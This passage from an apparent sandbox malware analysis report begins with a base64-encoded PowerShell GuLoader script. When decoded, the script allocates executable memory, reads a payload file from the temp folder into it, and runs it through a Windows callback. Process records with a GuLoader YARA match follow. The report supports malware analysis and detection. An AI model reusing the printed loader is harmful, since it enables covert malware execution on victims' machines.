BnAGEAbABsAG8AbgBzAHQAIAANAAoAIwBBAEYASwBBACAAUwBUAFkAUgBJAE4ARwBTAE0ASQAgAFUAbgBpAHYAZQByAHMANQAgAE0AYQBpAG4AdgBpAGMAawBpADYAIABCAEwATwBLAEgAIABHAEUASgBMAEUAUgBPAFMAUwAgAGIAaQBzAHMAZQAgAFUAZABoAHUAbAAgAEsAbAB1AG4AawB2AGkAcAAyACAAUwB0AHIAdQB0AGgAYgByADEAIAB2AGUAcgBzACAATwBSAEkARwBJAE4AQQBMAEYAUgAgAE0AYQBuAGkAMwAgAE8AdQB0AHIAaQBiAGIANgAgAA0ACgAjAG0AZQBqAGUAdABjAGgAYQAgAFMAaQBrAGsAIABrAGUAcgBuAGUAbABsAGkAbgAgAEIAaQBiAGwAaQBvAGcAcgAgAEcAYQBkAGUAaAAgAHMAbQBvAGsAIABCAGEAcgBmAG8AZABlAGQAZQBzADgAIAByAGUAdAB1AHIAbgBlAHIAaQBuACAAUwBjAGEAcABlAGwAZQBzAHMAIABzAHEAdQBhAGwAIABLAG8AbgBmAG8AMQAgAEcATABVAFQASQAgAFIAaQBnAGUAdABzAGYAYQByADUAIABPAEIAUwBFAFIAVgBBACAAQQBsAGkAbQBlAG4AdABhAHQAIAANAAoAIwBHAGUAbgBuACAAUABhAG4AZAAgAEcATwBMAEQARQBOAFcASQBOAEcAIABSAGUAZABuAGkAbgBnAHMAaABvACAAVQBEAEYAUgBJAEUATAAgAEIAZQBhAHIAYQBiAGkAbABpACAATQBlAGQAbAAgAFQAZQBtAHAAbwBlAHIAcwBmAGkAIABTAHAAaQByAGkAdAB1AHMANQAgAHMAdAByAGEAbgAgAEYATABPAFAAUABZAEQAIAB1AG4AYQBhAGQAaQBnAHQAIABNAEEAUwBLAEUAUABSACAAQgBlAHMAdgBlAGcAbwAgAEwAagB0AG4AIABIAHkAcwB0AHIAIABwAGEAdABlAG4AdAByAGUAdAAgAFQAaQBkAHMAZgAzACAAdABvAHIAaQBkACAAbABpAGwAYQBwAGwAZQBhAGMAaAAgAFMAYwBoAG8AbwBkADYAIABUAG8AaQBsAGUAOQAgAE8AcABzAHUAbQBtAGUAcgBlADgAIABTAGMAaQByADMAIABIAHkAZAByAG8AcgBoAGkAegBhACAAVQBOAEQAUwBJAEcAIABHAFUATgBKAEIAUgBBACAASQByAGUAdAB0AGUAcwB0AHQAZQA3ACAADQAKACMAVQBOAEEAUABQAFIAIABNAEkATgBFACAAUABhAGkAbgAgAEYATwBSAFUAIABQAFIARQBTAEUAUgBWACAAYgBhAGcAcwB0AHIAYgAgAFUAbgBuAGEAcgBjACAAdQBuAGkAbQBwAHUAZwBuAGUAIABMAGEAbgBkAGUAagBlAG4AZABvACAAVAByAG8AbABkAGUAcgA4ACAATwBwAGIAeQAgAEUATgBUAFIARQBEAFIAIABMAG4AZwBvAGQAdABnAHIAZQAgAE0AQQBSAFIAWQAgAHYAZwB0AGYAIABDAGwAbwB0AHUAcgBpAG4ANwAgAHMAbAB5AG4AZwBlAGwAcwB0AHIAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAFIATwBUAEEAVABJAE8ATgBGAE8AMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAZwBkAGkAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBGAG8AbgB0AHMAQQAoAHMAdAByAGkAbgBnACAAZgBlAHIAcwBrAHYAYQAsAHUAaQBuAHQAIABwAGEAcgBhAHAAbABlAGcALABpAG4AdAAgAEQARQBQAE8ALABpAG4AdAAgAFIATwBUAEEAVABJAE8ATgBGAE8AMAAsAGkAbgB0ACAASABvAHYAZQAsAGkAbgB0ACAAYQBmAHQAZQByAHIAYQBrACwAaQBuAHQAIABTAHYAaQBuAGcAaABqAHUAbABlADEAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBLAEUAUgBOAEUATAAzADIAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIAQwByAGUAYQB0AGUARgBpAGwAZQBBACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAGEAYwAoAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4ATABQAFMAdAByACkAXQBzAHQAcgBpAG4AZwAgAGYAZQByAHMAawB2AGEALAB1AGkAbgB0ACAAcABhAHIAYQBwAGwAZQBnACwAaQBuAHQAIABEAEUAUABPACwAaQBuAHQAIABSAE8AVABBAFQASQBPAE4ARgBPADAALABpAG4AdAAgAEgAbwB2AGUALABpAG4AdAAgAGEAZgB0AGUAcgByAGEAawAsAGkAbgB0ACAAUwB2AGkAbgBnAGgAagB1AGwAZQAxACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABSAE8AVABBAFQASQBPAE4ARgBPADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAFQARQBSAFIAQQAsAGkAbgB0ACAATQBhAG4AaQBvAGsAcAAsAHIAZQBmACAASQBuAHQAMwAyACAAUgBPAFQAQQBUAEkATwBOAEYATwAsAGkAbgB0ACAAUABoAG8AbgBvAGwAbwAsAGkAbgB0ACAAUgBPAFQAQQBUAEkATwBOAEYATwA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAPQAiAFIAZQBhAGQARgBpAGwAZQAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAEMARABBAEMAKABpAG4AdAAgAE0AYQBuAGkAbwBrAHAAMAAsAHUAaQBuAHQAIABNAGEAbgBpAG8AawBwADEALABJAG4AdABQAHQAcgAgAE0AYQBuAGkAbwBrAHAAMgAsAHIAZQBmACAASQBuAHQAMwAyACAATQBhAG4AaQBvAGsAcAAzACwAaQBuAHQAIABNAGEAbgBpAG8AawBwADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAEkAbgB0AFAAdAByACAATQBhAG4AaQBvAGsAcAA1ACwAaQBuAHQAIABNAGEAbgBpAG8AawBwADYAKQA7AA0ACgANAAoAfQANAAoAIgBAAA0ACgAjAFIAdQBiAGkAbgBlAG0AYQBnAHQANQAgAE0AeQBrAGkAcwBzACAAUwB0AGUAbgBvADMAIABVAEQARABBAE4ATgBFAEwAUwBFACAARQBYAEEAQwBUAE4ARQAgAEwAYQB1AHIAIABNAG8AbwBuAGkAMQAgAEEARABKAE8AIABCAGUAbQB1AHIAMQAgAEkATgBTAFQAIABBAGQAagB1AHMAdAAgAEYAcgBlAHIAcAByAHYAZQA5ACAASABqAGUAcgB0AGUAYgBhAHIAIABGAGwAdQB0ACAASABlAGQAZQBuAHMAawByAGEAbQAgAEIAdQByAG0AYQBuAG4AaQBhACAAbQB1AGgAYQBtACAAQgBlAGcAeQAgAEgAdQBhAGgAdQBrAHUAbABpAHMAOAAgAEIAYQBnAGIAdQAyACAAVwBBAFIAUwAgAE0AYQBzAGsAZQBkAGIAdAB0ACAAZAByAHkAcABzACAAcwB0AG8AcABwAGUAZwAgAFMAdwBlAGUANQAgAFMATwBEAEYAIABiAGEAcgByACAATQBhAG4AZwBlAHIAcwBmAGwAYQA5ACAADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwAyAD0AIgAkAGUAbgB2ADoAdABlAG0AcAAiACAAKwAgACIAXAByAGUAdAB0AGUAdABhAHMAdAAuAGQAYQB0ACIADQAKACMAbgBvAG4AaABlAHIAZQBkACAAaQBuAGsAYQBzAHMAbwAgAEYAdQBsAGQAYgAgAFMAZQBsAHYAYQBuAGcAIABHAG4AaQBkAGQAZQAyACAAUwBVAFIATQBPACAAQgBPAEQASABJAFMAQQBUAFQAIABRAFUASQBTACAAZQBuAHMAcgBlAHQAdABlAG4AZAAgAGMAcgB5AHAAdABvAGQAaQByAGUAIABIAG8AbQBlAHIAbwBvAG0AcAAgAFMAUABBAFIARQBOAEQARQBTAFAAIABBAG4AdABpAGwAaQB0ACAARQBCAFUATABMACAARgBvAHIAYgAgAFYAaQBsAGQAZgBhADIAIABNAGkAbgBhAGUAYQAxACAAcwB5AGcAZABvAG0AZgBvAHIAbgAgAEEAbABtAGkAbgBkAGUAbAAgAEQAUgBVAEUAUwAgAA0ACgAkAFIATwBUAEEAVABJAE8ATgBGAE8AMwA9ADAAOwANAAoAJABSAE8AVABBAFQASQBPAE4ARgBPADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwA4AD0AWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAUgBPAFQAQQBUAEkATwBOAEYATwAzACwAMAAsAFsAcgBlAGYAXQAkAFIATwBUAEEAVABJAE8ATgBGAE8AOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAFIAZQBzAHUANQAgAFMAawBsAGQAdABlADMAIABNAEEARwBOAEUAVABJAFMATQAgAEsAYQBsAGsAdQA4ACAAQQBlAHMAYwAgAEQATwBSAEUAUwBUAEEAIABHAG8AYQBsAHAAbwAgAG4AYQB0AGIAbwByACAAUwB5AG4AZQByAGcAZQB0AGkAYwA0ACAARwB5AG4AYQBuAGQAcgBhADEAIABLAGwAYQB2AGkAIABXAEEATgBMAEEAIABHAGUAbABhACAAbQBpAGwAagBiAGUAcgAgAFQAbwBsAHMAZQB5AGwAIABlAHAAaQBwAGwAIABXAE8AUgBTAEgAIABDAG8AbABlAG0AIABBAG4AbgB1ADEAIABMAEUAVgBJAEcAQQBUAEkATgAgAHMAdABhAGIAcwBvAGYAZgBpACAAaQByAG8AbgAgAHUAYgBsAHUAZgByAGQAaQBnACAADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwA0AD0AWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoAVgBpAGEAYwAoACQAUgBPAFQAQQBUAEkATwBOAEYATwAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAFAAVQBNAFAARQBSAE4ASQAgAEIAUgBFAFAAIABSAEUATgBOAEUAUwBJACAAQgBhAGIAYgBvACAAUwB0AHkAbAB0ACAATgBhAHoAaQBzAG0AZQBzAGMAYQAzACAAbABhAHQAZQBuAGUAZAByAGEAIABBAEwARwBFAEIAUgBBAEkAUwAgAEsAZQB0AHQAcQB1AGkAIABQAG4AZQB1AG0AYQAgAEEAZgBnAGkAZgB0ACAAdABlAG0AcABsAG8AIABTAEsASQBOAEQASwBBAEEAQgAgAEYAZQByAG4AaQBzAGUAcgBlADEAIAByAGUAYwB0AGkAZgBpAGUAIABSAEEARABJAE8AQQAgAGcAbABvAHMAcwBvACAAYgBlAHQAYQBsAGkAbgBnAHMAZQAgAEYAcgBpAHQAdQByAGUAMgAgAHMAdQBiAGUAdABoAGEAdAAgAG0AZQBtAG8AIABVAGQAYQByAGIAZQBqAGQAZQAzACAADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwA1AD0AMAA7AA0ACgAjAFMAdgBlAGwAbgBpACAAVABFAFIAUgBFAFMAVABSAEkAQQAgAEcAcgB1AG0AbQBlACAAUgBZAEQASABBAE4ARABHACAAUwBlAGMAbwBuAGQAZQAyACAAcgBlAHEAdQBpACAATQBFAFIAUwBUAEkARwBOACAARQBtAGIAcgB5AG8AbgBhACAASwBvAHIAcwB2AGUAagB0AHIAMwAgAGkAcwBkAGsAawBlAGQAIABTAHUAYgBiAGEAcwA0ACAAdgBlAGwAbABhAGIAYQBnAGIAIABuAG8AbgBmAGUAcgAgAFYAaQByAHQAdQBvAHMAIABLAFIATwBQAFMAUwAgAEsAQQBMAEYAIABBAG0AdABzAHIAYQBhAGQAcwBmADYAIAANAAoAWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoAQwBEAEEAQwAoACQAUgBPAFQAQQBUAEkATwBOAEYATwA0ACwAJABSAE8AVABBAFQASQBPAE4ARgBPADMALAA1ADcAOQAzADMALABbAHIAZQBmAF0AJABSAE8AVABBAFQASQBPAE4ARgBPADUALAAwACkADQAKACMARABaAE8AVABPAE0ATQBFAFMASwAgAFUAZABzAGsAcgBpAG4AZwAgAFMAZQBtAGkAYQBtADYAIABQAHUAcgBsAGcAIABzAHkAdAB0AGUAbgBhACAASAB5AGQAcgAgAEUAdQByAGEAcwBpAGUAcgBlAG4AIABNAHUAbAB0ADMAIABVAG4AcwB3AGkAbgAgAEEAZAB2AG8AawA4ACAATQBhAHIAaQBuAGUAcwB0AGEAIABUAGUAbgBkACAAUABlAGwAdgBlAHMAcgB1AGEAdAA0ACAAaQBuAGQAZABhAHQAYQBmAGkAbAAgAEEAawBhAGQAZQBtAGkAcwAxACAARwBBAFIAVQBEAEEAIABFAHYAZQBuAHQAdQAxACAAUABSAEUAUwBFAE4AVABJAE0AIABEAGkAdgB1AGwANwAgAFMAcABpAGwAZABlAHYAYQAgAFMAdAB5AHIAawBlACAARgBvAHQAbwB0AGUAbAAgAEEAdQB0AG8AdAA1ACAARQBBAFIAVAAgAEgAeQBkAHIAYQBnAG8AZwB5ACAAQgByAGkAbgBjAGUAdQA5ACAAVAByAGkAcABsAHUAIAB1AG4AbwByAGEAbABlAHMAIABTAGsAZQBsAGUAIAANAAoAWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoARQBuAHUAbQBXAGkAbgBkAG8AdwBzACgAJABSAE8AVABBAFQASQBPAE4ARgBPADMALAAgADAAKQANAAoADQAKAA==
      Imagebase:0xf0000
      File size:430592 bytes
      MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
      Has elevated privileges:true
      Has administrator privileges:true
      Programmed in:.Net C# or VB.NET
      Yara matches:
      • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000E.00000002.894432907.0000000008F80000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
      Reputation:high

      Target ID:15
      Start time:13:34:12
      Start date:12/05/2022
      Path:C:\Windows\System32\conhost.exe
      Wow64 process (32bit):false
      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Imagebase:0x7ff7bab80000
      File size:625664 bytes
      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
      Has elevated privileges:true
      Has administrator privileges:true
      Programmed in:C, C++ or other language
      Reputation:high

      Target ID:21
      Start time:13:34:46
      Start date:12/05/2022
      Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      Wow64 process (32bit):true
      Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline
      Imagebase:0x890000
      File size:2170976 bytes
      MD5 hash:350C52F71BDED7B99668585C15D70EEA
      Has elevated privileges:true
      Has administrator privileges:true
      Programmed in:.Net C# or VB.NET
      Reputation:moderate

      Target ID:22
      Start time:13:34:49
      Start date:12/05/2022
      Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      Wow64 process (32bit):true
      Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESBAD5.tmp" "c:\Users\user\AppData\Local\Temp\wwh3pdnv\CSC196797DCDE8F47A0A151AAD0920D1B.TMP"
      Imagebase:0x830000
      File size:43176 bytes
      MD5 hash:C09985AE74F0882F208D75DE27770DFA
      Has elevated privileges:true
      Has administrator privileges:true
      Programmed in:C, C++ or other language
      Reputation:moderate

      No disassembly